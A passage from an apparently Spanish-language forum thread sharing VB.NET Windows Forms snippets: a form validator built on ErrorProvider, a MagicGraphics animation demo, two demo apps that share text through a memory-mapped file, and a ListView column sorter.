''' This event is hooked for all controls,
''' it sets an error message with the use of ErrorProvider
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="System.ComponentModel.CancelEventArgs"/> instance containing the event data.</param>
Private Sub Validation_Event(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs)
If Controls(sender).Validate Then
If Trim(sender.Text) = "" Then
MyBase.SetError(sender, Controls(sender).ErrorMessage)
Else
MyBase.SetError(sender, "")
End If
End If
End Sub
End Class
#End Region
#Region "ValidationControlCollection"
''' <summary>
''' This class is used for holding all Validation Controls.
''' This class is collection of 'ValidationControl' class objects.
''' This class is used by 'ErrorProviderExtended' class.
''' </summary>
Public Class ValidationControlCollection : Inherits CollectionBase
Default Public Property Item(ByVal ListIndex As Integer) As ValidationControl
Get
Return Me.List(ListIndex)
End Get
Set(ByVal Value As ValidationControl)
Me.List(ListIndex) = Value
End Set
End Property
Default Public Property Item(ByVal pControl As Object) As ValidationControl
Get
If IsNothing(pControl) Then
Return Nothing
End If
If GetIndex(pControl.Name) < 0 Then
Return New ValidationControl
End If
Return Me.List(GetIndex(pControl.Name))
End Get
Set(ByVal Value As ValidationControl)
If IsNothing(pControl) Then Exit Property
If GetIndex(pControl.Name) < 0 Then
Exit Property
End If
Me.List(GetIndex(pControl.Name)) = Value
End Set
End Property
Function GetIndex(ByVal ControlName As String) As Integer
Dim i As Integer
For i = 0 To Count - 1
If Item(i).ControlObj.name.toupper = ControlName.ToUpper Then
Return i
End If
Next
Return -1
End Function
Public Sub Add(ByRef pControl As Object, ByVal pDisplayName As String)
If IsNothing(pControl) Then Exit Sub
Dim obj As New ValidationControl
obj.ControlObj = pControl
obj.DisplayName = pDisplayName
obj.ErrorMessage = "Please enter " + pDisplayName
Me.List.Add(obj)
End Sub
Public Sub Add(ByRef pControl As Object, ByVal pDisplayName As String, ByVal pErrorMessage As String)
If IsNothing(pControl) Then Exit Sub
Dim obj As New ValidationControl
obj.ControlObj = pControl
obj.DisplayName = pDisplayName
obj.ErrorMessage = pErrorMessage
Me.List.Add(obj)
End Sub
Public Sub Add(ByRef pControl As Object)
If IsNothing(pControl) Then Exit Sub
Dim obj As New ValidationControl
obj.ControlObj = pControl
obj.DisplayName = pControl.Name
obj.ErrorMessage = "Please enter " + pControl.Name
Me.List.Add(obj)
End Sub
Public Sub Add(ByVal pControl As ValidationControl)
If IsNothing(pControl) Then Exit Sub
Me.List.Add(pControl)
End Sub
Public Sub Remove(ByVal pControl As Object)
If IsNothing(pControl) Then Exit Sub
Dim i As Integer = Me.GetIndex(pControl.Name)
If i >= 0 Then
Me.List.RemoveAt(i)
End If
End Sub
End Class
#End Region
#Region "ValidationControl"
''' <summary>
''' ValidationControl class is used to hold any control from windows form.
''' 'It holds any control in 'ControlObj' property.
''' </summary>
Public Class ValidationControl
Private _control As Object
Private _displayname As String
Private _errormessage As String
Private _validate As Boolean = True
''' <summary>
''' Decides weather control is to be validated. Default value is TRUE.
''' </summary>
''' <value><c>true</c> if validate; otherwise, <c>false</c>.</value>
Public Property Validate() As Boolean
Get
Return _validate
End Get
Set(ByVal Value As Boolean)
_validate = Value
End Set
End Property
''' <summary>
''' ControlObj is a Control from windows form which is to be validated.
''' </summary>
''' <value>The control object.</value>
Public Property ControlObj() As Object
Get
Return _control
End Get
Set(ByVal Value As Object)
_control = Value
End Set
End Property
''' <summary>
''' DisplayName property is used for displaying summary message to user.
''' This field name will be displayed in summary message.
''' </summary>
''' <value>The display name.</value>
Public Property DisplayName() As String
Get
Return _displayname
End Get
Set(ByVal Value As String)
_displayname = Value
End Set
End Property
''' <summary>
''' ErrorMessage is also used for displaying summary message.
''' </summary>
''' <value>The error message.</value>
Public Property ErrorMessage() As String
Get
Return _errormessage
End Get
Set(ByVal Value As String)
_errormessage = Value
End Set
End Property
End Class
#End Region
Escribí este Form para probar su utilidad:
(http://i.imgur.com/05EnBiS.png)
Public Class ErrorProviderExtended_TestForm
''' <summary>
''' The ErrorProviderExtended instance.
''' </summary>
Private WithEvents MyErrorProvider As New ErrorProviderExtended
''' <summary>
''' Control to validate its content.
''' </summary>
Private WithEvents tbValue As New TextBox
''' <summary>
''' Control that validates general errors.
''' </summary>
Private WithEvents btValidator As New Button
''' <summary>
''' Control that reports the current error message.
''' </summary>
Private lblError As New Label
''' <summary>
''' Control used to indicate a textbox hint.
''' </summary>
Private lblHint As New Label
''' <summary>
''' This value determines whether exists errors that need to be fixed.
''' </summary>
Dim ErrorExists As Boolean = False
Public Sub New()
' This call is required by the designer.
InitializeComponent()
With Me.lblHint
.Location = New Point(10, 10)
.Text = "Type an 'Int32' value:"
.ForeColor = Color.WhiteSmoke
.AutoSize = True
End With
With Me.tbValue
.Location = New Point(15, 25)
.Size = New Size(100, Me.tbValue.Height)
End With
With Me.lblError
.Location = New Point(10, 50)
.Text = ""
.ForeColor = Color.WhiteSmoke
.AutoSize = True
End With
With Me.btValidator
.Location = New Point(Me.lblError.Location.X, Me.lblError.Location.Y + 20)
.Text = "Validate"
.FlatStyle = FlatStyle.System
End With
With Me
.MaximizeBox = False
.StartPosition = FormStartPosition.CenterScreen
.FormBorderStyle = Windows.Forms.FormBorderStyle.FixedSingle
.Size = New Point(220, 150)
.BackColor = Color.FromArgb(34, 34, 36)
.Controls.AddRange({Me.lblHint, Me.lblError, Me.tbValue, Me.btValidator})
End With
End Sub
Private Sub Test_Load() Handles Me.Load
With MyErrorProvider
.Controls.Add(Me.tbValue, "Int32")
.Controls(Me.tbValue).Validate = True
.SummaryMessage = "Following fields are mandatory."
End With
' Change the textbox text to produce an intentional error.
tbValue.AppendText(" ")
tbValue.Clear()
End Sub
Private Sub Button1_Click() _
Handles btValidator.Click
' The following function checks all empty fields and returns TRUE if all fields are entered.
' If any mandotary field is empty this function displays a message and returns FALSE.
If MyErrorProvider.CheckAndShowSummaryErrorMessage(ShowMessage:=True) Then
If Not Me.ErrorExists Then
MessageBox.Show("Data submited successfully.", "", MessageBoxButtons.OK, MessageBoxIcon.Information)
Else
MessageBox.Show("Data cannot be submited, fix the error(s).", "", MessageBoxButtons.OK, MessageBoxIcon.Error)
End If
End If
End Sub
''' <summary>
''' Handles the TextChanged event of the tbValue control.
''' </summary>
Private Sub tbValue_TextChanged(sender As Object, e As EventArgs) _
Handles tbValue.TextChanged
Dim Value As String = sender.text
If String.IsNullOrEmpty(Value) Then
MyErrorProvider.SetError(sender, "TextBox is empty.")
ElseIf Not Single.TryParse(Value, New Single) Then
MyErrorProvider.SetError(sender, "The value cannot contain letters.")
ElseIf Single.TryParse(Value, New Single) Then
If Value > Integer.MaxValue Then
MyErrorProvider.SetError(sender, "Value is greater than " & CStr(Integer.MaxValue))
Else ' Remove the error.
MyErrorProvider.SetError(sender, String.Empty)
End If
Else ' Remove the error.
MyErrorProvider.SetError(sender, String.Empty)
End If
Me.lblError.Text = MyErrorProvider.GetError(sender)
If String.IsNullOrEmpty(Me.lblError.Text) Then
Me.lblError.Text = "No errors :)"
Me.ErrorExists = False
Else
Me.ErrorExists = True
End If
End Sub
End Class
Un ejemplo de uso de la librería MagicGraphics: http://www.codeproject.com/Articles/19188/Magic-Graphics
(http://i.imgur.com/nCfFDWf.gif)
(http://www.codeproject.com/KB/vb/Magic_Graphics/MG.gif)
Escribí este Form para jugar un poco con la funcionalidad de esta librería, la verdad es que es muy sencillo.
(http://i.imgur.com/aBn0Nht.gif)
Public Class MagicGraphics_Test
Private WithEvents RotationTimer As New Timer With {.Enabled = True, .Interval = 25}
Dim SC As MagicGraphics.ShapeContainer
Private Sub Tst_Shown() Handles MyBase.Shown
SC = New MagicGraphics.ShapeContainer(PictureBox1.CreateGraphics, PictureBox1.Width, PictureBox1.Height, Color.Black, PictureBox1.Image)
PictureBox1.Image = SC.BMP
SC.AutoFlush = False
Dim Sq As New MagicGraphics.Rectangle(New Pen(Color.Black, 3), Brushes.Aqua, 60, 20, 50, 50)
Sq.FillingBrush = New Drawing2D.LinearGradientBrush(New Point(0, 0), New Point(60, 0), Color.Yellow, Color.Red)
SC.AddShape(Sq)
Dim El As New MagicGraphics.Ellipse(New Pen(Color.Black, 3), Brushes.Olive, 60, 88, 50, 71)
El.FillingBrush = New Drawing2D.LinearGradientBrush(New Point(0, 0), New Point(30, 0), Color.Red, Color.SteelBlue)
SC.AddShape(El)
RotationTimer.Start()
End Sub
Private Sub RotationTimer_Tick() Handles RotationTimer.Tick
Static Direction As Integer = 1I ' 0 = Left, 1 = Right
For X As Integer = 0I To (SC.ShapesL.Count - 1)
Dim shp As MagicGraphics.Shape = SC.ShapesL(X)
shp.Rotate(-8)
If shp.Location.X > (PictureBox1.Width - shp.Width) Then
Direction = 1I ' Right
ElseIf shp.Location.X < PictureBox1.Location.X Then
Direction = 0I ' Left
End If
If Direction = 0 Then
shp.Move(shp.Location.X + 2, shp.Location.Y)
Else
shp.Move(shp.Location.X - 2, shp.Location.Y)
End If
' Debug.WriteLine(String.Format("Shape {0} Rotation: {1}", CStr(X), shp.Rotation))
Next X
SC.Flush()
End Sub
End Class
He escrito este ejemplo para mostrar como se puede compartir un espacio de memoria que puede ser leido por diferentes aplicaciones:
(http://i.imgur.com/Iu9ByhP.gif)
Esta sería la aplicación número 1, creen un nuevo proyecto, copien y compilen este Form:
' Example of sharing memory across different running applications.
' By Elektro
'
' *************************
' This is the Application 1
' *************************
#Region " Imports "
Imports System.IO.MemoryMappedFiles
#End Region
#Region " Application 2 "
''' <summary>
''' Class MemoryMappedFile_Form1.
''' This should be the Class used to compile our first application.
''' </summary>
Public Class MemoryMappedFile_Form1
' The controls to create on execution-time.
Dim WithEvents btMakeFile As New Button ' Writes the memory.
Dim WithEvents btReadFile As New Button ' Reads the memory.
Dim tbMessage As New TextBox ' Determines the string to map into memory.
Dim tbReceptor As New TextBox ' Print the memory read's result.
Dim lbInfoButtons As New Label ' Informs the user with a usage hint for the buttons.
Dim lbInfotbMessage As New Label ' Informs the user with a usage hint for 'tbMessage'.
''' <summary>
''' Indicates the name of our memory-file.
''' </summary>
Private ReadOnly MemoryName As String = "My Memory-File Name"
''' <summary>
''' Indicates the memory buffersize to store the <see cref="MemoryName"/>, in bytes.
''' </summary>
Private ReadOnly MemoryBufferSize As Integer = 1024I
''' <summary>
''' Indicates the string to map in memory.
''' </summary>
Private ReadOnly Property strMessage As String
Get
Return tbMessage.Text
End Get
End Property
''' <summary>
''' Initializes a new instance of the <see cref="MemoryMappedFile_Form1"/> class.
''' </summary>
Public Sub New()
' This call is required by the designer.
InitializeComponent()
' Set the properties of the controls.
With lbInfotbMessage
.Location = New Point(20, 10)
.Text = "Type in this TextBox the message to write in memory:"
.AutoSize = True
' .Size = tbReceptor.Size
End With
With tbMessage
.Text = "Hello world from application one!"
.Location = New Point(20, 30)
.Size = New Size(310, Me.tbMessage.Height)
End With
With btMakeFile
.Text = "Write Memory"
.Size = New Size(130, 45)
.Location = New Point(20, 50)
End With
With btReadFile
.Text = "Read Memory"
.Size = New Size(130, 45)
.Location = New Point(200, 50)
End With
With tbReceptor
.Location = New Point(20, 130)
.Size = New Size(310, 100)
.Multiline = True
End With
With lbInfoButtons
.Location = New Point(tbReceptor.Location.X, tbReceptor.Location.Y - 30)
.Text = "Press '" & btMakeFile.Text & "' button to create the memory file, that memory can be read from both applications."
.AutoSize = False
.Size = tbReceptor.Size
End With
' Set the Form properties.
With Me
.Text = "Application 1"
.Size = New Size(365, 300)
.FormBorderStyle = Windows.Forms.FormBorderStyle.FixedSingle
.MaximizeBox = False
.StartPosition = FormStartPosition.CenterScreen
End With
' Add the controls on the UI.
Me.Controls.AddRange({lbInfotbMessage, tbMessage, btMakeFile, btReadFile, tbReceptor, lbInfoButtons})
End Sub
''' <summary>
''' Writes a byte sequence into a <see cref="MemoryMappedFile"/>.
''' </summary>
''' <param name="Name">Indicates the name to assign the <see cref="MemoryMappedFile"/>.</param>
''' <param name="BufferLength">Indicates the <see cref="MemoryMappedFile"/> buffer-length to write in.</param>
''' <param name="Data">Indicates the byte-data to write inside the <see cref="MemoryMappedFile"/>.</param>
Private Sub MakeMemoryMappedFile(ByVal Name As String, ByVal BufferLength As Integer, ByVal Data As Byte())
' Create or open the memory-mapped file.
Dim MessageFile As MemoryMappedFile =
MemoryMappedFile.CreateOrOpen(Name, Me.MemoryBufferSize, MemoryMappedFileAccess.ReadWrite)
' Write the byte-sequence into memory.
Using Writer As MemoryMappedViewAccessor =
MessageFile.CreateViewAccessor(0L, Me.MemoryBufferSize, MemoryMappedFileAccess.ReadWrite)
' Firstly fill with null all the buffer.
Writer.WriteArray(Of Byte)(0L, System.Text.Encoding.ASCII.GetBytes(New String(Nothing, Me.MemoryBufferSize)), 0I, Me.MemoryBufferSize)
' Secondly write the byte-data.
Writer.WriteArray(Of Byte)(0L, Data, 0I, Data.Length)
End Using ' Writer
End Sub
''' <summary>
''' Reads a byte-sequence from a <see cref="MemoryMappedFile"/>.
''' </summary>
''' <param name="Name">Indicates an existing <see cref="MemoryMappedFile"/> assigned name.</param>
''' <param name="BufferLength">The buffer-length to read in.</param>
''' <returns>System.Byte().</returns>
Private Function ReadMemoryMappedFile(ByVal Name As String, ByVal BufferLength As Integer) As Byte()
Try
Using MemoryFile As MemoryMappedFile =
MemoryMappedFile.OpenExisting(Name, MemoryMappedFileRights.Read)
Using Reader As MemoryMappedViewAccessor =
MemoryFile.CreateViewAccessor(0L, BufferLength, MemoryMappedFileAccess.Read)
Dim ReadBytes As Byte() = New Byte(BufferLength - 1I) {}
Reader.ReadArray(Of Byte)(0L, ReadBytes, 0I, ReadBytes.Length)
Return ReadBytes
End Using ' Reader
End Using ' MemoryFile
Catch ex As IO.FileNotFoundException
Throw
Return Nothing
End Try
End Function
''' <summary>
''' Handles the 'Click' event of the 'btMakeFile' control.
''' </summary>
Private Sub btMakeFile_Click() Handles btMakeFile.Click
' Get the byte-data to create the memory-mapped file.
Dim WriteData As Byte() = System.Text.Encoding.ASCII.GetBytes(Me.strMessage)
' Create the memory-mapped file.
Me.MakeMemoryMappedFile(Name:=Me.MemoryName, BufferLength:=Me.MemoryBufferSize, Data:=WriteData)
End Sub
''' <summary>
''' Handles the 'Click' event of the 'btReadFile' control.
''' </summary>
Private Sub btReadFile_Click() Handles btReadFile.Click
Dim ReadBytes As Byte()
Try ' Read the byte-sequence from memory.
ReadBytes = ReadMemoryMappedFile(Name:=Me.MemoryName, BufferLength:=Me.MemoryBufferSize)
Catch ex As IO.FileNotFoundException
Me.tbReceptor.Text = "Memory-mapped file does not exist."
Exit Sub
End Try
' Convert the bytes to String.
Dim Message As String = System.Text.Encoding.ASCII.GetString(ReadBytes.ToArray)
' Remove null chars (leading zero-bytes)
Message = Message.Trim({ControlChars.NullChar})
' Print the message.
tbReceptor.Text = Message
End Sub
End Class
#End Region
Esta sería la aplicación número 2, creen un nuevo proyecto, copien y compilen este Form:
' Example of sharing memory across different running applications.
' By Elektro
'
' *************************
' This is the Application 2
' *************************
#Region " Imports "
Imports System.IO.MemoryMappedFiles
#End Region
#Region " Application 2 "
''' <summary>
''' Class MemoryMappedFile_Form2.
''' This should be the Class used to compile our first application.
''' </summary>
Public Class MemoryMappedFile_Form2
' The controls to create on execution-time.
Dim WithEvents btMakeFile As New Button ' Writes the memory.
Dim WithEvents btReadFile As New Button ' Reads the memory.
Dim tbMessage As New TextBox ' Determines the string to map into memory.
Dim tbReceptor As New TextBox ' Print the memory read's result.
Dim lbInfoButtons As New Label ' Informs the user with a usage hint for the buttons.
Dim lbInfotbMessage As New Label ' Informs the user with a usage hint for 'tbMessage'.
''' <summary>
''' Indicates the name of our memory-file.
''' </summary>
Private ReadOnly MemoryName As String = "My Memory-File Name"
''' <summary>
''' Indicates the memory buffersize to store the <see cref="MemoryName"/>, in bytes.
''' </summary>
Private ReadOnly MemoryBufferSize As Integer = 1024I
''' <summary>
''' Indicates the string to map in memory.
''' </summary>
Private ReadOnly Property strMessage As String
Get
Return tbMessage.Text
End Get
End Property
''' <summary>
''' Initializes a new instance of the <see cref="MemoryMappedFile_Form2"/> class.
''' </summary>
Public Sub New()
' This call is required by the designer.
InitializeComponent()
' Set the properties of the controls.
With lbInfotbMessage
.Location = New Point(20, 10)
.Text = "Type in this TextBox the message to write in memory:"
.AutoSize = True
' .Size = tbReceptor.Size
End With
With tbMessage
.Text = "Hello world from application two!"
.Location = New Point(20, 30)
.Size = New Size(310, Me.tbMessage.Height)
End With
With btMakeFile
.Text = "Write Memory"
.Size = New Size(130, 45)
.Location = New Point(20, 50)
End With
With btReadFile
.Text = "Read Memory"
.Size = New Size(130, 45)
.Location = New Point(200, 50)
End With
With tbReceptor
.Location = New Point(20, 130)
.Size = New Size(310, 100)
.Multiline = True
End With
With lbInfoButtons
.Location = New Point(tbReceptor.Location.X, tbReceptor.Location.Y - 30)
.Text = "Press '" & btMakeFile.Text & "' button to create the memory file, that memory can be read from both applications."
.AutoSize = False
.Size = tbReceptor.Size
End With
' Set the Form properties.
With Me
.Text = "Application 2"
.Size = New Size(365, 300)
.FormBorderStyle = Windows.Forms.FormBorderStyle.FixedSingle
.MaximizeBox = False
.StartPosition = FormStartPosition.CenterScreen
End With
' Add the controls on the UI.
Me.Controls.AddRange({lbInfotbMessage, tbMessage, btMakeFile, btReadFile, tbReceptor, lbInfoButtons})
End Sub
''' <summary>
''' Writes a byte sequence into a <see cref="MemoryMappedFile"/>.
''' </summary>
''' <param name="Name">Indicates the name to assign the <see cref="MemoryMappedFile"/>.</param>
''' <param name="BufferLength">Indicates the <see cref="MemoryMappedFile"/> buffer-length to write in.</param>
''' <param name="Data">Indicates the byte-data to write inside the <see cref="MemoryMappedFile"/>.</param>
Private Sub MakeMemoryMappedFile(ByVal Name As String, ByVal BufferLength As Integer, ByVal Data As Byte())
' Create or open the memory-mapped file.
Dim MessageFile As MemoryMappedFile =
MemoryMappedFile.CreateOrOpen(Name, Me.MemoryBufferSize, MemoryMappedFileAccess.ReadWrite)
' Write the byte-sequence into memory.
Using Writer As MemoryMappedViewAccessor =
MessageFile.CreateViewAccessor(0L, Me.MemoryBufferSize, MemoryMappedFileAccess.ReadWrite)
' Firstly fill with null all the buffer.
Writer.WriteArray(Of Byte)(0L, System.Text.Encoding.ASCII.GetBytes(New String(Nothing, Me.MemoryBufferSize)), 0I, Me.MemoryBufferSize)
' Secondly write the byte-data.
Writer.WriteArray(Of Byte)(0L, Data, 0I, Data.Length)
End Using ' Writer
End Sub
''' <summary>
''' Reads a byte-sequence from a <see cref="MemoryMappedFile"/>.
''' </summary>
''' <param name="Name">Indicates an existing <see cref="MemoryMappedFile"/> assigned name.</param>
''' <param name="BufferLength">The buffer-length to read in.</param>
''' <returns>System.Byte().</returns>
Private Function ReadMemoryMappedFile(ByVal Name As String, ByVal BufferLength As Integer) As Byte()
Try
Using MemoryFile As MemoryMappedFile =
MemoryMappedFile.OpenExisting(Name, MemoryMappedFileRights.Read)
Using Reader As MemoryMappedViewAccessor =
MemoryFile.CreateViewAccessor(0L, BufferLength, MemoryMappedFileAccess.Read)
Dim ReadBytes As Byte() = New Byte(BufferLength - 1I) {}
Reader.ReadArray(Of Byte)(0L, ReadBytes, 0I, ReadBytes.Length)
Return ReadBytes
End Using ' Reader
End Using ' MemoryFile
Catch ex As IO.FileNotFoundException
Throw
Return Nothing
End Try
End Function
''' <summary>
''' Handles the 'Click' event of the 'btMakeFile' control.
''' </summary>
Private Sub btMakeFile_Click() Handles btMakeFile.Click
' Get the byte-data to create the memory-mapped file.
Dim WriteData As Byte() = System.Text.Encoding.ASCII.GetBytes(Me.strMessage)
' Create the memory-mapped file.
Me.MakeMemoryMappedFile(Name:=Me.MemoryName, BufferLength:=Me.MemoryBufferSize, Data:=WriteData)
End Sub
''' <summary>
''' Handles the 'Click' event of the 'btReadFile' control.
''' </summary>
Private Sub btReadFile_Click() Handles btReadFile.Click
Dim ReadBytes As Byte()
Try ' Read the byte-sequence from memory.
ReadBytes = ReadMemoryMappedFile(Name:=Me.MemoryName, BufferLength:=Me.MemoryBufferSize)
Catch ex As IO.FileNotFoundException
Me.tbReceptor.Text = "Memory-mapped file does not exist."
Exit Sub
End Try
' Convert the bytes to String.
Dim Message As String = System.Text.Encoding.ASCII.GetString(ReadBytes.ToArray)
' Remove null chars (leading zero-bytes)
Message = Message.Trim({ControlChars.NullChar})
' Print the message.
tbReceptor.Text = Message
End Sub
End Class
#End Region
Ahora ya solo tienen que ejecutar ambas aplicaciones para testear.
Saludos!
Una class para ordenar los items de un listview según la columna:
(http://i.imgur.com/vJqYdj9.png)
' ***********************************************************************
' Author : Elektro
' Last Modified On : 08-20-2014
' ***********************************************************************
' <copyright file="ListView Column-Sorter.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
'Public Class ListViewColumnSorter_TestForm : Inherits form
'
' ''' <summary>
' ''' The listview to sort.
' ''' </summary>
' Private WithEvents LV As New ListView
'
' ''' <summary>
' ''' The 'ListViewColumnSorter' instance.
' ''' </summary>
' Private Sorter As New ListViewColumnSorter
'
' ''' <summary>
' ''' Initializes a new instance of the <see cref="ListViewColumnSorter_TestForm"/> class.
' ''' </summary>
' Public Sub New()
'
' ' This call is required by the designer.
' InitializeComponent()
'
' With LV ' Set the Listview properties.
'
' ' Set the sorter, our 'ListViewColumnSorter'.
' .ListViewItemSorter = Sorter
'
' ' The sorting default direction.
' .Sorting = SortOrder.Ascending
'
' ' Set the default sort-modifier.
' Sorter.SortModifier = ListViewColumnSorter.SortModifiers.SortByText
'
' ' Add some columns.
' .Columns.Add("Text").Tag = ListViewColumnSorter.SortModifiers.SortByText
' .Columns.Add("Numbers").Tag = ListViewColumnSorter.SortModifiers.SortByNumber
' .Columns.Add("Dates").Tag = ListViewColumnSorter.SortModifiers.SortByDate
'
' ' Adjust the column sizes.
' For Each col As ColumnHeader In LV.Columns
' col.Width = 100I
' Next
'
' ' Add some items.
' .Items.Add("hello").SubItems.AddRange({"1", "11/11/2000"})
' .Items.Add("yeehaa!").SubItems.AddRange({"2", "11-11-2000"})
' .Items.Add("El3ktr0").SubItems.AddRange({"10", "9/9/1999"})
' .Items.Add("wow").SubItems.AddRange({"100", "21/08/2014"})
'
' ' Visual-Style things.
' .Dock = DockStyle.Fill
' .View = View.Details
' .FullRowSelect = True
'
' End With
'
' With Me ' Set the Form properties.
'
' .Size = New Size(400, 200)
' .FormBorderStyle = Windows.Forms.FormBorderStyle.FixedSingle
' .MaximizeBox = False
' .StartPosition = FormStartPosition.CenterScreen
' .Text = "ListViewColumnSorter TestForm"
'
' End With
'
' ' Add the Listview to UI.
' Me.Controls.Add(LV)
'
' End Sub
'
' ''' <summary>
' ''' Handles the 'ColumnClick' event of the 'ListView1' control.
' ''' </summary>
' Private Sub ListView1_ColumnClick(ByVal sender As Object, ByVal e As ColumnClickEventArgs) _
' Handles LV.ColumnClick
'
' ' Dinamycaly sets the sort-modifier to sort the column by text, number, or date.
' Sorter.SortModifier = sender.columns(e.Column).tag
'
' ' Determine whether clicked column is already the column that is being sorted.
' If e.Column = Sorter.Column Then
'
' ' Reverse the current sort direction for this column.
' If Sorter.Order = SortOrder.Ascending Then
' Sorter.Order = SortOrder.Descending
'
' Else
' Sorter.Order = SortOrder.Ascending
'
' End If ' Sorter.Order
'
' Else
'
' ' Set the column number that is to be sorted, default to ascending.
' Sorter.Column = e.Column
' Sorter.Order = SortOrder.Ascending
'
' End If ' e.Column
'
' ' Perform the sort with these new sort options.
' sender.Sort()
'
' End Sub
'
'End Class
#End Region
#Region " Imports "
Imports System.Text.RegularExpressions
Imports System.ComponentModel
#End Region
#Region " ListView Column-Sorter "
''' <summary>
''' Performs a sorting comparison.
''' </summary>
Public Class ListViewColumnSorter : Implements IComparer
#Region " Objects "
'''' <summary>
'''' Indicates the comparer instance.
'''' </summary>
Private Comparer As Object = New TextComparer
#End Region
#Region " Properties "
''' <summary>
''' Gets or sets the number of the column to which to apply the sorting operation (Defaults to '0').
''' </summary>
Public Property Column As Integer
Get
Return Me._Column
End Get
Set(ByVal value As Integer)
Me._Column = value
End Set
End Property
Private _Column As Integer = 0I
''' <summary>
''' Gets or sets the order of sorting to apply.
''' </summary>
Public Property Order As SortOrder
Get
Return Me._Order
End Get
Set(ByVal value As SortOrder)
Me._Order = value
End Set
End Property
Private _Order As SortOrder = SortOrder.None
''' <summary>
''' Gets or sets the sort modifier.
''' </summary>
''' <value>The sort modifier.</value>
Public Property SortModifier As SortModifiers
Get
Return Me._SortModifier
End Get
Set(ByVal value As SortModifiers)
Me._SortModifier = value
End Set
End Property
Private _SortModifier As SortModifiers = SortModifiers.SortByText
#End Region
#Region " Enumerations "
''' <summary>
''' Specifies a comparison result.
''' </summary>
Public Enum ComparerResult As Integer
''' <summary>
''' 'X' is equals to 'Y'.
''' </summary>
Equals = 0I
''' <summary>
''' 'X' is less than 'Y'.
''' </summary>
Less = -1I
''' <summary>
''' 'X' is greater than 'Y'.
''' </summary>
Greater = 1I
End Enum
''' <summary>
''' Indicates a Sorting Modifier.
''' </summary>
Public Enum SortModifiers As Integer
''' <summary>
''' Treats the values as text.
''' </summary>
SortByText = 0I
''' <summary>
''' Treats the values as numbers.
''' </summary>
SortByNumber = 1I
''' <summary>
''' Treats valuesthe values as dates.
''' </summary>
SortByDate = 2I
End Enum
#End Region
#Region " Private Methods "
''' <summary>
''' Compares two objects and returns a value indicating whether one is less than, equal to, or greater than the other.
''' </summary>
''' <param name="x">The first object to compare.</param>
''' <param name="y">The second object to compare.</param>
''' <returns>
''' A signed integer that indicates the relative values of <paramref name="x"/> and <paramref name="y"/>,
''' 0: <paramref name="x"/> equals <paramref name="y"/>.
''' Less than 0: <paramref name="x"/> is less than <paramref name="y"/>.
''' Greater than 0: <paramref name="x"/> is greater than <paramref name="y"/>.
''' </returns>
Private Function Compare(ByVal x As Object, ByVal y As Object) As Integer Implements IComparer.Compare
Dim CompareResult As ComparerResult = ComparerResult.Equals
Dim LVItemX, LVItemY As ListViewItem
' Cast the objects to be compared
LVItemX = DirectCast(x, ListViewItem)
LVItemY = DirectCast(y, ListViewItem)
Dim strX As String = If(Not LVItemX.SubItems.Count <= Me._Column,
LVItemX.SubItems(Me._Column).Text,
Nothing)
Dim strY As String = If(Not LVItemY.SubItems.Count <= Me._Column,
LVItemY.SubItems(Me._Column).Text,
Nothing)
Dim listViewMain As ListView = LVItemX.ListView
' Calculate correct return value based on object comparison
If listViewMain.Sorting <> SortOrder.Ascending AndAlso listViewMain.Sorting <> SortOrder.Descending Then
' Return '0' to indicate they are equal
Return ComparerResult.Equals
End If
If Me._SortModifier.Equals(SortModifiers.SortByText) Then
' Compare the two items
If LVItemX.SubItems.Count <= Me._Column AndAlso LVItemY.SubItems.Count <= Me._Column Then
CompareResult = Me.Comparer.Compare(Nothing, Nothing)
ElseIf LVItemX.SubItems.Count <= Me._Column AndAlso LVItemY.SubItems.Count > Me._Column Then
CompareResult = Me.Comparer.Compare(Nothing, strY)
ElseIf LVItemX.SubItems.Count > Me._Column AndAlso LVItemY.SubItems.Count <= Me._Column Then
CompareResult = Me.Comparer.Compare(strX, Nothing)
Else
CompareResult = Me.Comparer.Compare(strX, strY)
End If
Else ' Me._SortModifier IsNot 'SortByText'
Select Case Me._SortModifier
Case SortModifiers.SortByNumber
If Me.Comparer.GetType <> GetType(NumericComparer) Then
Me.Comparer = New NumericComparer
End If
Case SortModifiers.SortByDate
If Me.Comparer.GetType <> GetType(DateComparer) Then
Me.Comparer = New DateComparer
End If
Case Else
If Me.Comparer.GetType <> GetType(TextComparer) Then
Me.Comparer = New TextComparer
End If
End Select
CompareResult = Comparer.Compare(strX, strY)
End If ' Me._SortModifier.Equals(...)
' Calculate correct return value based on object comparison
If Me._Order = SortOrder.Ascending Then
' Ascending sort is selected, return normal result of compare operation
Return CompareResult
ElseIf Me._Order = SortOrder.Descending Then
' Descending sort is selected, return negative result of compare operation
Return (-CompareResult)
Else
' Return '0' to indicate they are equal
Return 0I
End If ' Me._Order = ...
End Function
#End Region
#Region " Hidden Methods "
''' <summary>
''' Serves as a hash function for a particular type.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub GetHashCode()
End Sub
''' <summary>
''' Determines whether the specified System.Object instances are considered equal.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub Equals()
End Sub
''' <summary>
''' Gets the System.Type of the current instance.
''' </summary>
''' <returns>The exact runtime type of the current instance.</returns>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function [GetType]()
Return Me.GetType
End Function
''' <summary>
''' Returns a String that represents the current object.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub ToString()
End Sub
#End Region
End Class
#End Region
#Region " Comparers "
#Region " Text "
''' <summary>
''' Performs a text comparison.
''' </summary>
Public Class TextComparer : Inherits CaseInsensitiveComparer
#Region " Enumerations "
''' <summary>
''' Specifies a comparison result.
''' </summary>
Public Enum ComparerResult As Integer
''' <summary>
''' 'X' is equals to 'Y'.
''' </summary>
Equals = 0I
''' <summary>
''' 'X' is less than 'Y'.
''' </summary>
Less = -1I
''' <summary>
''' 'X' is greater than 'Y'.
''' </summary>
Greater = 1I
End Enum
#End Region
#Region " Methods "
''' <summary>
''' Compares two objects and returns a value indicating whether one is less than, equal to, or greater than the other.
''' </summary>
''' <param name="x">The first object to compare.</param>
''' <param name="y">The second object to compare.</param>
''' <returns>
''' A signed integer that indicates the relative values of <paramref name="x"/> and <paramref name="y"/>,
''' 0: <paramref name="x"/> equals <paramref name="y"/>.
''' Less than 0: <paramref name="x"/> is less than <paramref name="y"/>.
